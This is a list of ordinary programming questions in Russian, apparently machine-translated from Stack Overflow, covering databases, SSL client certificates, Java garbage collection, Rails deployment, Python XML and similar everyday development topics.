    Почему это плохая практика, чтобы сделать несколько подключений к базе данных в одном запросе?

    Обсуждение Синглетонов в PHP году заставляет меня все больше и больше задумываться над этим вопросом. Большинство людей учат, что вы не должны делать кучу соединений DB в одном запросе, и мне просто любопытно, каковы ваши рассуждения. Моя первая мысль-это затраты на ваш сценарий, чтобы сделать так много запросов к DB, но затем я противопоставляю себя вопросу: не будет ли несколько соединений делать параллельные запросы более эффективными?

    Как насчет некоторых ответов (с доказательствами, люди) от некоторых людей в курсе?

    database   resources   database-connection    

    445   5   16:44, 14th August, 2020


    Как я могу поддерживать проверку подлинности сертификата клиента SSL?

    Я хочу сделать то же, что делает myopenid - после того, как вы вошли в систему, вы можете нажать кнопку, которая генерирует вам сертификат SSL; браузер затем загружает этот сертификат и сохраняет его. Когда вы позже вернетесь к yourid.myopenid.com, Ваш браузер может использовать свой сохраненный сертификат для аутентификации, поэтому вам никогда не понадобится пароль.

    Итак, мои вопросы - что требуется для того, чтобы это сработало? Как создать сертификаты? Как я могу подтвердить их, когда они будут представлены мне обратно?

    Мой стек составляет Rails на Apache, используя Passenger, но я не слишком разборчив.

    ruby-on-rails   apache   ssl    

    577   5   16:11, 4th August, 2020


    C в Visual Studio

    Я пытаюсь выучить C. Как разработчик C#, мой IDE-это Visual Studio. Я слышал, что это хорошая среда для развития C/C++. Однако, кажется, независимо от того, что я пытаюсь сделать, интуиция меня подводит. Может ли кто-то дать хорошие ресурсы для того, чтобы либо:

    • изучите входы и выходы из C в Visual Studio
    • рекомендую лучший компилятор C IDE +

    Правка: Смотрите также: https://stackoverflow.com/questions/951516/a-good-c-ide

    c++   c   ide   compiler-construction    

    448   15   16:16, 21st August, 2020


    Почему трассировки стека исключений всегда указывают на последнюю строку метода?

    У меня проблема с установкой Visual Studio. Когда я получаю исключение, у меня всегда есть неправильные номера строк в стеке trace. В моей кодовой базе всегда есть точка до последней строки каждого метода. В то же время это OK, когда я отслеживаю программы с отладчиком. Что случилось с PDBs?

    Нет, я не повторяю исключение для каждого метода.

    В каждой строке стека trace у меня есть последняя строка соответствующего метода, в то время как исключение было брошено оператором в середине.

    c#   .net   visual-studio   exception   stack-trace    

    448   1   14:55, 14th August, 2020


    Лучший способ извлечь данные из базы данных FileMaker Pro в скрипте?

    Моя работа была бы проще или, по крайней мере, менее утомительной, если бы я мог придумать автоматизированный способ (предпочтительно в сценарии Python) извлечения полезной информации из базы данных FileMaker Pro. Я работаю на машине Linux, и база данных FileMaker находится на том же самом LAN, работающем на машине OS X. Я могу войти в веб-интерфейс с моей машины.

    Я очень хорошо справляюсь с SQL, и если бы кто-нибудь мог указать мне на какой-нибудь плагин FileMaker, который мог бы дать мне доступ к данным SQL в пределах FileMaker, я был бы рад, как панч. Все, что я нашел, идет только в другую сторону: имея FileMaker получить данные из SQL источников. Не полезный.

    Это не мой первый выбор,но я бы использовал Perl вместо Python, если бы под рукой было решение Perl-Y.

    Примечание: сервисы XML/XSLT (как предлагают некоторые люди) доступны только на FM-сервере, а не на FM Pro. В противном случае, это, вероятно, было бы лучшим решением. ODBC оказывается чрезвычайно трудно даже заставить работать. Существует абсолютно нулевая обратная связь от FM, когда вы настраиваете его, так что вам придется копаться в /var/log/system.log и анализировать неясные сообщения об ошибках.

    Вывод : я получил его работу, запустив сценарий python локально на машине, которая запрашивает базу данных FM через соединения ODBC. Скрипт на самом деле является TCPServer, который принимает сокетные соединения от других систем на LAN, выполняет запросы и возвращает данные через сокетное соединение. Мне пришлось сделать это, чтобы обойти тот факт, что FM Pro принимает только ODBC соединений локально (FM сервер требуется для внешних подключений).

    python   linux   perl   scripting   filemaker    

    533   3   18:17, 18th August, 2020


    Есть ли хорошие рекомендации по использованию виртуального устройства Subversion 1.5?

    Я ищу решение quick-and-dirty для этого, мне нужно очень быстро настроить сервер Subversion, например, к концу завтрашнего дня. Моя первоначальная мысль состояла в том, чтобы просто загрузить виртуальное устройство, которое мы могли бы загрузить на нашу главную машину. Однако проблема, с которой я сталкиваюсь, заключается в том, что все устройства, которые я нашел до сих пор, застряли в версии svn 1.4 или ниже.

    Кто-нибудь знает о приборе, который имеет svn 1.5 работающий? Мне не нужны никакие другие биты, такие как отслеживание проблем, WebSVN или что-то в этом роде.

    Спасибо, Уолли

    EDIT: Чтобы ответить на некоторые вопросы, я бы предпочел, чтобы хост OS был каким-то ароматом Linux, чтобы мне не пришлось покупать дополнительную лицензию Windows.

    svn   version-control    

    466   10   14:35, 13th August, 2020


    Какие инструменты рефакторинга вы используете для Python?

    У меня есть куча классов, которые я хочу переименовать. Некоторые из них имеют небольшие имена, и это имя повторно используется в других именах классов, где я не хочу, чтобы это имя было изменено. Большая часть этого живет в коде Python, но у нас также есть некоторый код XML, который ссылается на имена классов.

    Простой поиск и замена только помогает мне до сих пор. В моем случае, я хочу переименовать AdminAction в AdminActionPlug и AdminActionLogger в AdminActionLoggerPlug, так что первый из них search-and-replace также попадет во второй, ошибочно.

    Есть ли у кого-нибудь опыт работы с инструментами рефакторинга Python ? Бонусные очки, если они могут исправить имена классов в документах XML тоже.

    python   refactoring    

    475   7   12:45, 2nd August, 2020


    PAD (Portable Application Description) файлы для условно-бесплатных программ

    Мне сказали, что я должен включать файлы PAD с бесплатными приложениями, которые я распространяю, чтобы хостинг-сайты могли правильно перечислять информацию и проверять наличие обновлений и т. д.

    Можете ли вы дать мне некоторую информацию об использовании PAD файлов? Вот общие вопросы, которые приходят на ум:

    • Стоит ли это усилий?
    • Вы используете PADGen или онлайн-инструмент, такой как www.padbuilder.com ?
    • Вы подписываете свои документы в цифровом виде?

    open-source   software-distribution   freeware    

    519   3   18:56, 23rd August, 2020


    Windows Mobile-какие скриптовые платформы доступны?

    У нас есть ряд пользователей с Windows Mobile 6, и нам нужно внести незначительные изменения. напр.. обновление параметров реестра. Один из вариантов-нажать и выполнить исполняемый файл с помощью нашего программного обеспечения для управления устройствами.

    Я бы хотел, чтобы это было немного более дружелюбно для администраторов, которые знакомы со сценариями в VBScript/JScript и т. д. Какие существуют варианты написания сценариев на мобильных устройствах Windows?

    windows-mobile   scripting   sysadmin   administration    

    414   5   06:22, 2nd August, 2020


    XML => HTML с Hpricot и Rails

    Я никогда не работал с веб-сервисами и rails, и, очевидно, это то, что мне нужно узнать. Я решил использовать hpricot, потому что он выглядит великолепно. В любом случае, _why был достаточно хорош, чтобы предоставить следующий пример на веб -сайте hpricot :

     #!ruby
     require 'hpricot'
     require 'open-uri'
     # load the RedHanded home page
     doc = Hpricot(open("http://redhanded.hobix.com/index.html"))
     # change the CSS class on links
     (doc/"span.entryPermalink").set("class", "newLinks")
     # remove the sidebar
     (doc/"#sidebar").remove
     # print the altered HTML
     puts doc
    

    Которая выглядит простой, элегантный, и удобной для тебя такого. Отлично работает в Ruby, но мой вопрос: Как я могу разбить это в rails?

    Я экспериментировал с добавлением всего этого к одному контроллеру, но не мог придумать лучший способ назвать его в представлении.

    Итак, если бы вы разбирали файл XML из web API и печатали его в nice clean HTML с помощью Hpricot, как бы вы разбили активность по моделям, представлениям и контроллерам, и что бы вы поместили туда?

    ruby-on-rails   xml   ruby   hpricot   open-uri    

    428   2   20:43, 28th August, 2020


    Что же такое Microsoft Expression Studio и как она интегрируется с Visual Studio?

    Мой университет является частью MSDNAA, так что я скачал его некоторое время назад, но я только что приступил к его установке. Я предполагаю, что часть из них заменяет FrontPage для веб-редактирования, и там, кажется, есть видеоредактор и редактор векторной графики, но я не думаю, что даже поцарапал поверхность того, что это такое и что он может делать. Может ли кто-нибудь просветить меня, тем более что я не нашел сайт типа "Expression Studio for Dummies".

    visual-studio   integration   expression-studio    

    560   7   09:55, 27th August, 2020


    Java и вручную завершить выполнение

    Если я вызову finalize() для объекта из моего программного кода, будет ли JVM все еще запускать метод снова, когда сборщик мусора обрабатывает этот объект?

    Это был бы примерный пример:

    MyObject m = new MyObject();
    
    m.finalize();
    
    m = null;
    
    System.gc()
    

    Может ли явный вызов finalize() заставить сборщик мусора JVM не запускать метод finalize() на объекте m ?

    java   garbage-collection   finalize    

    420   3   08:30, 1st August, 2020


    Самый крутой C# LINQ/лямбда-трюк, который вы когда-либо вытягивали?

    Видел пост о скрытых функциях в C#, но не многие люди написали linq / lambdas пример так... Я удивляюсь...

    Каково самое крутое (как и самое элегантное) использование C# LINQ и/или лямбды / анонимных делегатов, которые у вас когда-либо были saw/written?

    Бонус, если он тоже пошел в производство!

    c#   linq   functional-programming   lambda    

    610   14   05:33, 11th August, 2020


    Компилятор .NET -- DEBUG против RELEASE

    В течение многих лет я использую константу компилятора DEBUG в VB.NET для записи сообщений в консоль. Я также использовал System.Diagnostics.Debug.Write подобным образом. Я всегда понимал, что когда RELEASE использовался в качестве опции сборки, все эти операторы были опущены компилятором, освобождая ваш производственный код от накладных расходов отладочных операторов. Недавно, работая с Silverlight 2 Beta 2, я заметил, что Visual Studio на самом деле подключается к сборке RELEASE, которую я запускал с общедоступного веб-сайта, и отображает DEBUG инструкции, которые, как я предполагал, даже не были скомпилированы! Итак, моя первая склонность заключается в предположении, что с моим окружением что-то не так, но я также хочу спросить любого, кто обладает глубокими знаниями о System.Diagnostics.Debug и DEBUG build option в целом, что я могу здесь неправильно понять.

    .net   compiler-construction   debugging    

    481   7   03:12, 24th August, 2020


    Лучший компрессор JavaScript

    Какой самый лучший компрессор JavaScript доступен? Я ищу инструмент, который:

    • прост в использовании
    • имеет высокую степень сжатия
    • Производить надежные конечные результаты (не портит код)

    javascript   compression    

    925   14   10:38, 28th August, 2020


    Лучшая архитектура для обработки изменений файловой системы?

    Вот такой сценарий:

    Я пишу приложение, которое будет следить за любыми изменениями в определенном каталоге. Этот каталог будет заполнен тысячами файлов в минуту каждый с "almost" уникальным GUID. Формат файла такой:

    GUID.dat где GUID = = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (внутреннее содержимое не имеет отношения, но это просто текстовые данные)

    Мое приложение будет представлять собой форму, которая имеет одно текстовое поле, которое показывает все файлы, которые добавляются и удаляются в режиме реального времени. Каждый раз, когда появляется новый файл, я должен обновить textbox с этим файлом, но сначала я должен убедиться, что этот полу-уникальный GUID действительно уникален, если это так, обновите textbox с этим новым файлом.

    Когда файл удаляется из этого каталога, убедитесь, что он существует, а затем удалите его, обновите textbox соответствующим образом.

    Проблема в том, что я использую его .NET filewatcher и кажется, что есть внутренний буфер, который взрывается каждый раз, когда входит (buffersize + 1)-й файл. Я также попытался сохранить внутренний список в своем приложении и просто добавить каждый файл, который входит, но позже выполните проверку unique-GUID, но без кубиков.

    .net   architecture   concurrency   filesystemwatcher    

    443   2   14:19, 9th August, 2020


    Расширение Виртуального Диска

    Привет всем, я использую Virtual PC и работаю с виртуальным жестким диском (*.vhd), размер которого составляет только 8.2 GB. Я бы хотел удвоить размер до чего-то вроде 16-20GB. Я вижу варианты для уплотнения VHD, но ничего, чтобы расширить его. Он установлен на "dynamically expand", но я устанавливаю какое-то программное обеспечение, и он, похоже, не изменяет свой размер на большее пространство.

    Большое спасибо.

    virtualization   virtual-pc   vhd    

    411   7   02:20, 22nd August, 2020


    Почему вы не вызываете явно finalize() или не запускаете сборщик мусора?

    Прочитав этот вопрос, я вспомнил, как меня учили Java и говорили никогда не звонить finalize() и не запускать сборщик мусора, потому что "это большой черный ящик, о котором вам никогда не нужно беспокоиться". Может ли кто-нибудь свести рассуждения об этом к нескольким предложениям? Я уверен, что мог бы прочитать технический отчет Sun по этому вопросу, но я думаю, что хороший, короткий, простой ответ удовлетворил бы мое любопытство.

    java   garbage-collection    

    531   7   21:06, 1st October, 2020


    CPU использование базы данных?

    Можно ли получить разбивку использования CPU по базе данных ?

    В идеале я ищу интерфейс типа Диспетчера задач для SQL сервера, но вместо того, чтобы смотреть на использование CPU каждого PID (например, taskmgr ) или каждого SPID (например, spwho2k5), я хочу просмотреть общее использование CPU каждой базы данных. Предположим, один экземпляр SQL.

    Я понимаю, что инструменты могут быть написаны для сбора этих данных и отчета о них, но мне интересно, есть ли какой-либо инструмент, который позволяет мне увидеть живое представление того, какие базы данных вносят наибольший вклад в нагрузку sqlservr.exe CPU.

    sql-server   monitoring    

    442   8   11:16, 28th August, 2020


    Как лучше всего использовать веб-сервисы в python?

    У меня есть приложение среднего размера, которое работает как веб-сервис .net, который я не контролирую, и я хочу создать свободный pythonic API над ним, чтобы обеспечить легкий сценарий.

    Я хотел узнать, что является лучшим / наиболее практичным решением для использования веб-сервисов в python.

    Редактировать: Мне нужно потреблять комплекс soap WS и у меня нет никакого контроля над этим.

    python   web-services   soap    

    381   3   01:16, 23rd August, 2020


    Есть ли способ объединить именованные области в новую именованную область?

    У меня есть

    class Foo < ActiveRecord::Base
      named_scope :a, lambda { |a| :conditions => { :a => a } }
      named_scope :b, lambda { |b| :conditions => { :b => b } }
    end
    

    Я хотел бы

    class Foo < ActiveRecord::Base
      named_scope :ab, lambda { |a,b| :conditions => { :a => a, :b => b } }
    end
    

    но я бы предпочел сделать это в стиле DRY. Я могу получить тот же эффект, используя

     Foo.a(something).b(something_else)
    

    но это не особенно красиво.

    ruby-on-rails   rails-activerecord   named-scope    

    389   6   03:06, 29th August, 2020


    SharePoint SPContext.List на странице пользовательского приложения

    У меня есть пользовательская страница приложения SharePoint, развернутая в папке _layouts. Это пользовательский "new form" для пользовательского типа контента. Во время моих взаимодействий с этой страницей мне нужно будет добавить элемент в свой список. Когда страница загружается впервые, я могу использовать SPContext.Current.List, чтобы увидеть текущий список, с которым я работаю. Но после того, как я заполняю свою форму, и форма отправляет обратно на себя, и IsPostBack-это правда, тогда SPContext.Current.List-это null, поэтому я не могу найти список, в который мне нужно добавить мои вещи.

    Это ожидается?

    Как я должен сохранить некоторую информацию о моем списке контекста через обратную передачу? Должен ли я просто заполнить некоторый элемент управления asp:hidden идентификатором guid моего списка, а затем просто вытащить его из этого на обратной передаче? Это кажется безопасным, я думаю.

    FWIW, это стандартная версия MOSS 2007.

    sharepoint   spcontext   applicationpage    

    552   4   15:31, 8th August, 2020


    Создание UserControl программно внутри ретранслятора?

    У меня есть ретранслятор, который привязан к некоторым данным.

    Я привязываюсь к событию ItemDataBound и пытаюсь программно создать UserControl :

    В двух словах:

    void rptrTaskList_ItemDataBound(object sender, RepeaterItemEventArgs e)
    {
        CCTask task = (CCTask)e.Item.DataItem;
    
        if (task is ExecTask)
        {
            ExecTaskControl foo = new ExecTaskControl();
            e.Item.Controls.Add(foo);
        }
    }
    

    Проблема заключается в том, что пока привязка работает, пользовательский элемент управления не отображается на главной странице.

    Есть какие-нибудь идеи?

    asp.net   user-controls   webforms    

    538   4   22:06, 7th August, 2020


    Как вы генерируете тесты из спецификаций?

    Я наткнулся на печатную статью Бертрана Мейера , где он утверждает, что тесты могут быть созданы из спецификаций. Моя команда разработчиков не делает ничего подобного, но это звучит как хорошая техника для рассмотрения. Как вы генерируете тесты из спецификаций? Как бы вы описали успех, который вы имеете в обнаружении программных ошибок с помощью этого метода?

    testing   automated-tests   specifications   faults    

    429   4   23:18, 17th August, 2020


    Какова более эффективная методология контроля версий: проверка или слияние?

    Я всегда использовал Subversion или CVS для контроля версий, которые используют методологию 'merge'. Один из моих друзей бредит о Perforce и о том, как это здорово с его списками изменений и методологией проверки.

    Хотя я уверен, что многое из этого сводится к опыту & личных предпочтений, мне было интересно, было ли проведено какое-либо исследование, в котором метод контроля версий более эффективен для работы?

    EDIT: чтобы уточнить, я знаю, что оба Perforce & SVN позволяют блокировать & слияние, но SVN 'encourages' либеральный метод редактирования & слияния, тогда как, как я понимаю, Perforce поощряет метод проверки-проверки.

    svn   version-control   perforce    

    421   10   19:08, 27th August, 2020


    Создание таблиц базы данных из определений объектов

    Я знаю, что существует несколько (автоматических) способов создания уровня доступа к данным для управления существующей базой данных (от LINQ до SQL, Hibernate и т. д...). Но я начинаю немного уставать (и я считаю, что должен быть лучший способ делать вещи) от таких вещей, как:

    1. Создание / изменение таблиц в Visio
    2. Использование Visio-х "Update Database" для создания / изменения базы данных
    3. Импорт таблиц в объект "LINQ to SQL classes"
    4. Соответственно, меняется код
    5. Скомпилировать

    Как насчет способа создания схемы базы данных из определения объектов / сущностей? Я не могу найти хороших ссылок для таких инструментов (и я ожидал бы какой-то встроенной поддержки, по крайней мере, в некоторых фреймворках).

    Было бы прекрасно, если бы я только мог ... :

    1. Изменение определения объекта
    2. Измените код, который управляет объектом
    3. Компилировать (изменения в базе данных производятся автоматически-магически)

    database   orm   code-generation    

    452   10   09:39, 13th August, 2020


    Развертывание подкаталога Git в Capistrano

    Мой главный макет ветви выглядит так:

    / <-- верхний уровень

    /client <-- исходные файлы desktop client

    /server <-- Rails приложение

    Все , что я хотел бы сделать, это просто снять каталог /server в моем deploy.rb, но я не могу найти никакого способа сделать это. Каталог /client огромен, поэтому настройка крючка для копирования /server в / не будет работать очень хорошо, ему нужно только снять приложение Rails.

    ruby-on-rails   git   deployment   capistrano    

    470   10   07:58, 21st August, 2020


    Как создать документ xml в python

    Вот мой пример кода:

    from xml.dom.minidom import *
    def make_xml():
        doc = Document()
        node = doc.createElement('foo')
        node.innerText = 'bar'
        doc.appendChild(node)
        return doc
    if __name__ == '__main__':
        make_xml().writexml(sys.stdout)
    

    когда я запускаю приведенный выше код я получаю это:

    <?xml version="1.0" ?>
    <foo/>
    

    Я хотел бы получить:

    <?xml version="1.0" ?>
    <foo>bar</foo>
    

    Я просто догадался, что есть свойство innerText, оно не дает ошибки компилятора, но, похоже, не работает... как мне создать текстовый узел?

    python   xml    

    405   3   12:43, 19th August, 2020


    Windows Vista: не удается загрузить DLL 'x.dll': недопустимый доступ к памяти. (DllNotFoundException)

    Сегодня днем я тестировал на коробке клиента, которая имеет Windows Vista (у него был дом, но я тестирую на бизнес-издании с теми же результатами).

    Мы используем .DLL, который получает аппаратное обеспечение ID компьютера. Его использование очень просто, и образец программы, которую я создал, работает. Dll - это от AzSdk . На самом деле, это прекрасно работает под Windows XP. Однако, по какой-то странной причине, внутри нашего проекта (намного больше) мы получаем это исключение:

    Exception Type:        System.DllNotFoundException
    Exception Message:     Unable to load DLL 'HardwareID.dll': Invalid access to memory location. (Exception from HRESULT: 0x800703E6)
    Exception Target Site: GetHardwareID
    

    Я не знаю, что может быть причиной проблемы, так как у меня есть полный контроль над папкой. Проект представляет собой приложение форм c#.net Windows, и все работает нормально, за исключением вызова внешней библиотеки.

    Я объявляю его следующим образом: (Примечание: это не библиотека COM, и ее не нужно регистрировать).

    [DllImport("HardwareID.dll")]
    public static extern String GetHardwareID(bool HDD,
       bool NIC, bool CPU, bool BIOS, string sRegistrationCode);
    

    И тогда вызывающий код достаточно прост:

    private void button1_Click(object sender, EventArgs e)
    {
        textBox1.Text = GetHardwareID(cb_HDD.Checked, 
                                      cb_NIC.Checked, 
                                      cb_CPU.Checked, 
                                      cb_BIOS.Checked, 
                                     "*Registration Code*");
    }
    

    Когда вы создаете пример приложения, он работает, но внутри моего проекта он не работает. Under XP работает нормально. Есть ли идеи о том, что я должен сделать в Vista, чтобы сделать эту работу? Как я уже сказал, папка и ее подпапки имеют полный контроль над "Everybody".

    UPDATE: у меня не установлена Vista SP 1.

    UPDATE 2: я установил Vista SP1 и теперь, когда UAC отключен, даже простой пример не работает!!! : (Чертова Виста.

    c#   .net   windows-vista   dllnotfoundexception    

    605   6   23:18, 10th August, 2020


    Контроль версий для графики

    Скажем, команда разработчиков включает в себя (или использует) графических художников, которые создают все изображения, которые входят в продукт. К таким вещам относятся значки, растровые изображения, фоны окон, изображения кнопок, анимация и т. д.

    Очевидно, что все необходимое для создания части программного обеспечения должно находиться под некоторой формой контроля версий. Но большинство систем контроля версий для разработчиков предназначены в первую очередь для текстовой информации. Должны ли графические люди использовать ту же систему управления версиями и репозиторий, что и кодеры? Если нет, то что они должны использовать, и каков лучший способ сохранить все синхронизировано?

    version-control   graphics   versioning    

    686   15   21:06, 1st October, 2020


    Лучшие практики для среды разработки и API dev?

    Мой нынешний работодатель использует сторонний хостинг-провайдер CRM, и у нас есть довольно сложный уровень интеграции между двумя системами. Среди возможностей поставщика CRM для разработчиков является создание бизнес-логики на языке Java, как и на таких событиях, как пользователь, нажав на кнопку или отправив новую учетную запись в систему, есть проверка и / или бизнес-логика выстрелить.

    Одна из возможностей, которую мы используем, заключается в том, что бизнес-код, запущенный на хост-провайдере, вызывает веб-службы, которые мы размещаем. Канонический пример - это торговый представитель, который вводит новый интерес к продажам и нажимает кнопку, чтобы проверить наши системы, чтобы узнать, можем ли мы идентифицировать этот новый интерес на основе адреса email, имени company/first/last и т. д., И если да, верните внутренний GUID, который представляет этого человека. Все это прекрасно работает для нас, но мы снова и снова натыкаемся на стену, пытаясь настроить разумную среду разработки для работы.

    Таким образом, хотя наш вариант использования немного нюансирован, это обычно может применяться к любому дому разработки, который строит APIs для потребления третьей стороной: каковы некоторые рекомендации при проектировании конвейера разработки и среды, когда вы строите APIs для потребления внешним миром?

    В нашем офисе все наши разработчики находятся за брандмауэром, поэтому текущий код не может быть поражен внешним миром, в нашем случае провайдером CRM. Мы могли бы проделать дыры в брандмауэре, но это не идеально с точки зрения безопасности поверхности. Особенно, если # разработчиков, которые должны быть в DMZ, как область высока. В настоящее время мы пробуем одну машину dev в DMZ, а затем удаляемся в нее по мере необходимости для выполнения работы dev, но это создает проблему нехватки ресурсов, если несколько разработчиков нуждаются в коробке, не говоря уже о том, что они делают потенциально конфликтующие изменения (например, разные ветви).

    Мы рассмотрели только издевательство / подделку входящих запросов путем создания поддельных клиентов для этих служб, но это довольно большие накладные расходы при создании наборов функций (хотя это по своей природе усиливает тестируемость нашего APIs). Это также не устраняет тот факт, что иногда нам действительно нужно диагностировать/отлаживать проблемы, исходящие от самого реального клиента, а не от какой-то поддельной полезной нагрузки запроса.

    Что сделали другие в таких сценариях? В этот день и век мэшапов, должно быть много людей там w/ опыт разработки APIs-что работает (и не работает так) хорошо для людей там?

    development-environment   pipeline   api-design    

    449   2   04:39, 11th August, 2020


    Открыть файлы из сетевой папки в веб-приложение c#

    У меня есть веб-приложение, которое должно читать (и, возможно, записывать) файлы из общего сетевого ресурса. Мне было интересно, как лучше всего это сделать?

    Я не могу предоставить сетевой службе или учетным записям aspnet доступ к сетевому ресурсу. Я вполне мог бы использовать олицетворение.

    Сетевой ресурс и веб-приложение размещаются в одном домене, и я могу создать нового пользователя в домене специально для этой цели, однако я не совсем уверен, как соединить точки между созданием filestream и указанием учетных данных для использования в веб-приложении.


    К сожалению, диск не сопоставлен с сетевым диском на машине, он доступен мне только как сетевой ресурс, поэтому, к сожалению, я не могу сделать прозрачный вызов.

    Есть одна проблема, которую я могу придумать с олицетворением... Я могу выдавать себя только за одного пользователя на домен приложения, но я счастлив быть исправленным. Возможно, мне придется записать этот файл в несколько разных общих папок, что означает, что мне придется выдавать себя за нескольких пользователей.

    Мне нравится идея создания токена... если я смогу это сделать, то смогу заранее запросить у пользователей их учетные данные, а затем динамически применить защиту и выдавать им значимые сообщения об ошибках, если доступ будет запрещен... Я ухожу играть, но вернусь с обновлениями.

    c#   asp.net   security   web-applications   file-io    

    677   5   09:01, 1st August, 2020


    Rails требует RubyGems >= 0.9.4. Пожалуйста, установите RubyGems

    Я развертываю в Ubuntu slice на slicehost, используя Rails 2.1.0 (от gem )

    Если я попробую mongrel_rails start или script / server, я получу эту ошибку:

     Rails requires RubyGems >= 0.9.4. Please install RubyGems
    

    Когда я набираю gem -v , у меня установлена версия 1.2.0 . Любые быстрые советы о том, на что смотреть, чтобы исправить?

    ruby-on-rails   deployment   rubygems    

    394   2   12:49, 11th August, 2020


    Достаточно ли использовать обфускатор для защиты моего кода JavaScript?

    Я работаю над созданием инструмента разработки, который написан на JavaScript.

    Это не будет проект с открытым исходным кодом и будет продаваться (надеюсь) как коммерческий продукт.

    Я ищу лучший способ защитить свои инвестиции. Достаточно ли использовать обфускатор (code mangler) для разумной защиты кода?

    Есть ли другие альтернативы, о которых я не знаю?

    (Я не уверен, что obfuscator-это правильное слово, это одно из приложений, которое берет ваш код и делает его очень нечитаемым.)

    javascript   obfuscation    

    476   9   04:50, 10th August, 2020


    Как автоматизированный слишком автоматизирован, когда дело доходит до deployment?

    У меня есть ci, поэтому наша промежуточная среда строит себя.
    Должен ли я иметь скрипт, который не только строит производство, но и делает все ветвления для него?
    Если у вас есть одна база кода на двух разных URL-адресах с оболочкой, должны ли они быть необходимы для сборки сразу?

    build-automation   production    

    422   4   08:19, 8th August, 2020


    Compact Framework-как динамически создать тип без конструктора по умолчанию?

    Я использую .NET CF 3.5. Тип, который я хочу создать, не имеет конструктора по умолчанию, поэтому я хочу передать строку перегруженному конструктору. Как мне это сделать?

    Код:

    Assembly a = Assembly.LoadFrom("my.dll");
    Type t = a.GetType("type info here");
    // All ok so far, assembly loads and I can get my type
    
    string s = "Pass me to the constructor of Type t";
    MyObj o = Activator.CreateInstance(t); // throws MissMethodException
    

    c#   reflection   compact-framework    

    479   4   15:02, 5th August, 2020


    Как вы устраняете проблемы с кодировкой символов?

    Если все, что вы видите, это уродливые коробки без символов, какие инструменты или стратегии вы используете, чтобы выяснить, что пошло не так?

    (Конкретный сценарий, с которым я сталкиваюсь,-это коробки без символов внутри <select>, когда он должен показывать японские символы.)

    encoding   localization    

    395   3   13:08, 5th August, 2020


    Десериализация на другом языке

    Сетевой адаптер log4j отправляет события в виде сериализованного объекта java. Я хотел бы иметь возможность захватить этот объект и десериализовать его на другом языке (python). Разве это возможно?

    Обратите внимание, что захват сети прост; это просто сокет TCP и чтение в потоке. Трудность заключается в десериализующей части

    java   serialization   log4j    

    506   6   08:28, 3rd August, 2020


    Как использовать Python distutils?

    Я написал небольшой программы в python добавить gtk GUI программы командной строки. Мне было интересно, как я могу создать установщик с помощью distutils. Поскольку это всего лишь интерфейс GUI для приложения командной строки, он все равно работает только в *nix, поэтому я не беспокоюсь о том, что он кросс-платформенный.

    моя главная цель-создать пакет .deb для пользователей debian/ubuntu, но я не понимаю make/configure файлов. До сих пор я в основном был веб-разработчиком.

    edit: кто-нибудь знает о проекте, который использует distutils, чтобы я мог увидеть его в действии и, вы знаете, на самом деле попробовать построить его?

    Вот несколько полезных ссылок

    • Ubuntu Python Руководство По Упаковке

      Это руководство очень полезно. Я не знаю, как я пропустил это во время моей первой волны гулинга. Он даже проведет вас через упаковку существующего приложения python

    • Проект Ubuntu MOTU

      Это официальный пакет поддержки проекта на ubuntu. Любой желающий может присоединиться, и есть много учебных пособий и информации о создании пакетов всех типов, которые включают в себя вышеупомянутое "руководство по упаковке python".

    • "Python distutils to deb?"-обсуждение на форуме Ars Technica

      Согласно этому разговору, вы не можете просто использовать дистутилы. Он не соответствует формату упаковки debian (или что-то в этом роде). Я думаю, именно поэтому вам нужен dh_make, как показано в руководстве по упаковке Ubuntu

    • "Команда bdist_deb для distutils

      Здесь есть несколько интересных обсуждений (это также то, как я нашел руководство ubuntu) о соединении zip-файла и shell-скрипта для создания какого-то универсального исполняемого файла (все, что имеет python и bash). странный. Дайте мне знать, если кто-нибудь найдет больше информации об этой практике, потому что я никогда о ней не слышал.

    • Описание формата deb и как distutils вписываются в список рассылки - python

    python   linux   installer   debian   distutils    

    526   5   23:10, 7th August, 2020


    Почему пагинация так ресурсоемка?

    Это одна из тех вещей, которые, кажется, имеют странную кривую, где чем больше я думаю об этом, тем больше это имеет смысл. В определенной степени, конечно. И тогда для меня это вообще не имеет смысла.

    Не хочешь просветить меня?

    performance   pagination    

    450   6   17:26, 15th August, 2020


    Как поддерживать правильное событие Javascript после использования cloneNode (true)

    У меня есть элемент формы, который содержит несколько строк входных данных. Подумайте о каждой строке как об атрибутах нового объекта, который я хочу создать в своем веб-приложении. Кроме того, я хочу иметь возможность создавать несколько новых объектов в одном посте HTTP. Я использую встроенный метод Javascript cloneNode (true) для клонирования каждой строки. Проблема в том, что каждая входная строка также имеет ссылку удаления, прикрепленную к ее onclick-событию:

    // prototype based
    <div class="input-line">
        <input .../>
        <a href="#" onclick="$(this).up().remove();"> Remove </a>
    </div>
    

    При нажатии на ссылку удаления клонированной входной линии также удаляются все входные линии, которые были клонированы из того же объекта dom. Можно ли повторно привязать объект "this" к соответствующему тегу привязки после использования cloneNode (true) на указанном выше элементе DOM?

    javascript   events   dom   prototypejs   clonenode    

    384   6   02:04, 9th August, 2020


    Бесплатный Волновой Синтезатор?

    Мне нужно реализовать волновой синтезатор в ядре ARM Cortex-M3. Я ищу любой код или инструменты, которые помогут мне начать работу.

    Я знаю об этой реализации AVR . Я действительно преобразовал его в PIC некоторое время назад. Теперь я ищу что-то похожее, но немного лучше звучащее.

    Код ANSI C был бы замечательным. Любые фрагменты кода (C или C++), образцы, инструменты или просто общая информация будут очень признательны.

    Спасибо.

    audio   arm   microcontroller   synthesizer   sound-synthesis    

    460   3   16:31, 14th August, 2020


    Как я могу сделать манифест .net assembly частным?

    Что мне делать, если я хочу освободить .net assembly, но хочу сохранить его внутренние детали в манифесте частными (от утилиты, такой как ildasm.exe ) ?

    .net   security   obfuscation    

    453   2   09:14, 5th August, 2020


    Генератор шаблона документации

    У меня есть большая кодовая база без Javadoc, и я хочу запустить программу для написания скелета с основной информацией Javadoc (например, для параметра каждого метода write @param...),, поэтому мне просто нужно заполнить оставшиеся пробелы.

    Кто-нибудь знает хорошее решение для этого?

    Редактировать:

    JAutodoc - это то, что я искал. Он имеет Ant задач, плагин Eclipse и использует скорость для определения шаблона.

    java   documentation   javadoc    

    467   6   03:17, 16th August, 2020


    Как управлять обновлением схемы в рабочей базе данных?

    Это, кажется, забытая область,которая действительно может использовать некоторое понимание. Каковы ваши лучшие практики для:

    • выполнение процедуры обновления
    • резервное копирование в случае ошибок
    • синхронизация изменений кода и базы данных
    • тестирование до deployment
    • механика изменения таблицы

    и т.д...

    oracle   database-administration    

